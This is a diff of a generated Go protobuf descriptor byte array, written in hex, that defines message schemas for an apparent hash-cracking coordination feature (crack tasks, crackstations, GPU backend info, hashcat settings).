0x6b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, - 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, - 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, 0x76, 0x61, - 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0xd9, 0x01, 0x0a, 0x09, 0x43, 0x72, 0x61, 0x63, - 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, - 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, - 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x03, - 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, - 0x1c, 0x0a, 0x09, 0x53, 0x74, 0x61, 0x72, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x04, 0x20, 0x01, - 0x28, 0x03, 0x52, 0x09, 0x53, 0x74, 0x61, 0x72, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x20, 0x0a, - 0x0b, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x05, 0x20, 0x01, - 0x28, 0x03, 0x52, 0x0b, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, - 0x10, 0x0a, 0x03, 0x45, 0x72, 0x72, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, - 0x72, 0x12, 0x30, 0x0a, 0x07, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x18, 0x09, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, - 0x61, 0x63, 0x6b, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x52, 0x07, 0x43, 0x6f, 0x6d, 0x6d, - 0x61, 0x6e, 0x64, 0x22, 0xed, 0x03, 0x0a, 0x0c, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, - 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4f, 0x70, 0x65, 0x72, - 0x61, 0x74, 0x6f, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, - 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, - 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f, 0x4f, 0x53, - 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x12, 0x26, 0x0a, 0x0e, 0x48, 0x61, 0x73, 0x68, - 0x63, 0x61, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x0e, 0x48, 0x61, 0x73, 0x68, 0x63, 0x61, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, - 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x06, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x18, 0x0a, 0x07, - 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, - 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x46, 0x0a, 0x0a, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, - 0x61, 0x72, 0x6b, 0x73, 0x18, 0x08, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x26, 0x2e, 0x63, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, - 0x6f, 0x6e, 0x2e, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x45, 0x6e, 0x74, - 0x72, 0x79, 0x52, 0x0a, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x12, 0x2d, - 0x0a, 0x04, 0x43, 0x55, 0x44, 0x41, 0x18, 0x64, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x55, 0x44, 0x41, 0x42, 0x61, 0x63, 0x6b, - 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x04, 0x43, 0x55, 0x44, 0x41, 0x12, 0x30, 0x0a, - 0x05, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x18, 0x65, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x42, 0x61, 0x63, - 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x05, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x12, - 0x33, 0x0a, 0x06, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x18, 0x66, 0x20, 0x03, 0x28, 0x0b, 0x32, - 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x43, - 0x4c, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x06, 0x4f, 0x70, - 0x65, 0x6e, 0x43, 0x4c, 0x1a, 0x3d, 0x0a, 0x0f, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, - 0x6b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x05, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, - 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, - 0x02, 0x38, 0x01, 0x22, 0xa1, 0x02, 0x0a, 0x0f, 0x43, 0x55, 0x44, 0x41, 0x42, 0x61, 0x63, 0x6b, - 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x56, - 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, 0x56, - 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x12, 0x16, 0x0a, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, - 0x72, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x12, - 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, - 0x61, 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x05, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, - 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x6f, 0x72, 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, - 0x05, 0x52, 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x6f, 0x72, 0x73, 0x12, 0x14, 0x0a, - 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x18, 0x07, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x43, 0x6c, - 0x6f, 0x63, 0x6b, 0x12, 0x20, 0x0a, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, - 0x61, 0x6c, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, - 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x12, 0x1e, 0x0a, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, - 0x72, 0x65, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, - 0x79, 0x46, 0x72, 0x65, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x55, 0x44, 0x41, 0x56, 0x65, 0x72, - 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x43, 0x55, 0x44, 0x41, - 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0xd9, 0x02, 0x0a, 0x11, 0x4f, 0x70, 0x65, 0x6e, - 0x43, 0x4c, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, - 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x54, 0x79, 0x70, - 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x05, 0x52, 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x12, 0x16, 0x0a, - 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x56, - 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x04, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x56, 0x65, 0x72, - 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, 0x72, 0x73, - 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x6f, 0x72, - 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, - 0x6f, 0x72, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x18, 0x07, 0x20, 0x01, - 0x28, 0x05, 0x52, 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x12, 0x20, 0x0a, 0x0b, 0x4d, 0x65, 0x6d, - 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, - 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x12, 0x1e, 0x0a, 0x0a, 0x4d, - 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x4f, - 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0a, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x0d, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, - 0x6e, 0x12, 0x30, 0x0a, 0x13, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x44, 0x72, 0x69, 0x76, 0x65, - 0x72, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x09, 0x52, 0x13, - 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x44, 0x72, 0x69, 0x76, 0x65, 0x72, 0x56, 0x65, 0x72, 0x73, - 0x69, 0x6f, 0x6e, 0x22, 0xa4, 0x02, 0x0a, 0x10, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x42, 0x61, 0x63, + 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, + 0x48, 0x0a, 0x0a, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x18, 0x03, 0x20, + 0x03, 0x28, 0x0b, 0x32, 0x28, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, + 0x72, 0x61, 0x63, 0x6b, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x2e, 0x42, 0x65, + 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0a, 0x42, + 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x1a, 0x3d, 0x0a, 0x0f, 0x42, 0x65, 0x6e, + 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, + 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, + 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, 0x76, + 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0xd9, 0x01, 0x0a, 0x09, 0x43, 0x72, 0x61, + 0x63, 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, + 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, + 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, + 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x74, 0x61, 0x72, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x04, 0x20, + 0x01, 0x28, 0x03, 0x52, 0x09, 0x53, 0x74, 0x61, 0x72, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x20, + 0x0a, 0x0b, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x05, 0x20, + 0x01, 0x28, 0x03, 0x52, 0x0b, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, + 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, 0x72, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, + 0x72, 0x72, 0x12, 0x30, 0x0a, 0x07, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x18, 0x09, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, + 0x72, 0x61, 0x63, 0x6b, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x52, 0x07, 0x43, 0x6f, 0x6d, + 0x6d, 0x61, 0x6e, 0x64, 0x22, 0xed, 0x03, 0x0a, 0x0c, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, + 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4f, 0x70, 0x65, + 0x72, 0x61, 0x74, 0x6f, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x0c, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, + 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f, 0x4f, + 0x53, 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x18, 0x04, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x12, 0x26, 0x0a, 0x0e, 0x48, 0x61, 0x73, + 0x68, 0x63, 0x61, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x05, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x0e, 0x48, 0x61, 0x73, 0x68, 0x63, 0x61, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, + 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x06, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x18, 0x0a, + 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, + 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x46, 0x0a, 0x0a, 0x42, 0x65, 0x6e, 0x63, 0x68, + 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x18, 0x08, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x26, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, + 0x69, 0x6f, 0x6e, 0x2e, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x45, 0x6e, + 0x74, 0x72, 0x79, 0x52, 0x0a, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x12, + 0x2d, 0x0a, 0x04, 0x43, 0x55, 0x44, 0x41, 0x18, 0x64, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x55, 0x44, 0x41, 0x42, 0x61, 0x63, + 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x04, 0x43, 0x55, 0x44, 0x41, 0x12, 0x30, + 0x0a, 0x05, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x18, 0x65, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1a, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x42, 0x61, + 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x05, 0x4d, 0x65, 0x74, 0x61, 0x6c, + 0x12, 0x33, 0x0a, 0x06, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x18, 0x66, 0x20, 0x03, 0x28, 0x0b, + 0x32, 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x6e, + 0x43, 0x4c, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x06, 0x4f, + 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x1a, 0x3d, 0x0a, 0x0f, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, + 0x72, 0x6b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, + 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, + 0x3a, 0x02, 0x38, 0x01, 0x22, 0xa1, 0x02, 0x0a, 0x0f, 0x43, 0x55, 0x44, 0x41, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, @@ -10717,514 +10848,554 @@ var file_clientpb_client_proto_rawDesc = []byte{ 0x74, 0x61, 0x6c, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x12, 0x1e, 0x0a, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, - 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x56, - 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x4d, 0x65, - 0x74, 0x61, 0x6c, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0xb9, 0x1e, 0x0a, 0x0c, 0x43, - 0x72, 0x61, 0x63, 0x6b, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x12, 0x39, 0x0a, 0x0a, 0x41, - 0x74, 0x74, 0x61, 0x63, 0x6b, 0x4d, 0x6f, 0x64, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, - 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, - 0x41, 0x74, 0x74, 0x61, 0x63, 0x6b, 0x4d, 0x6f, 0x64, 0x65, 0x52, 0x0a, 0x41, 0x74, 0x74, 0x61, - 0x63, 0x6b, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x2e, 0x0a, 0x08, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, - 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x52, 0x08, 0x48, 0x61, - 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x48, 0x61, 0x73, 0x68, 0x65, 0x73, - 0x18, 0x03, 0x20, 0x03, 0x28, 0x09, 0x52, 0x06, 0x48, 0x61, 0x73, 0x68, 0x65, 0x73, 0x12, 0x14, - 0x0a, 0x05, 0x51, 0x75, 0x69, 0x65, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x51, - 0x75, 0x69, 0x65, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x48, 0x65, 0x78, 0x43, 0x68, 0x61, 0x72, 0x73, - 0x65, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x48, 0x65, 0x78, 0x43, 0x68, 0x61, - 0x72, 0x73, 0x65, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x48, 0x65, 0x78, 0x53, 0x61, 0x6c, 0x74, 0x18, - 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x48, 0x65, 0x78, 0x53, 0x61, 0x6c, 0x74, 0x12, 0x20, - 0x0a, 0x0b, 0x48, 0x65, 0x78, 0x57, 0x6f, 0x72, 0x64, 0x6c, 0x69, 0x73, 0x74, 0x18, 0x07, 0x20, - 0x01, 0x28, 0x08, 0x52, 0x0b, 0x48, 0x65, 0x78, 0x57, 0x6f, 0x72, 0x64, 0x6c, 0x69, 0x73, 0x74, - 0x12, 0x14, 0x0a, 0x05, 0x46, 0x6f, 0x72, 0x63, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x05, 0x46, 0x6f, 0x72, 0x63, 0x65, 0x12, 0x36, 0x0a, 0x16, 0x44, 0x65, 0x70, 0x72, 0x65, 0x63, - 0x61, 0x74, 0x65, 0x64, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, - 0x18, 0x09, 0x20, 0x01, 0x28, 0x08, 0x52, 0x16, 0x44, 0x65, 0x70, 0x72, 0x65, 0x63, 0x61, 0x74, - 0x65, 0x64, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x16, - 0x0a, 0x06, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, - 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x1e, 0x0a, 0x0a, 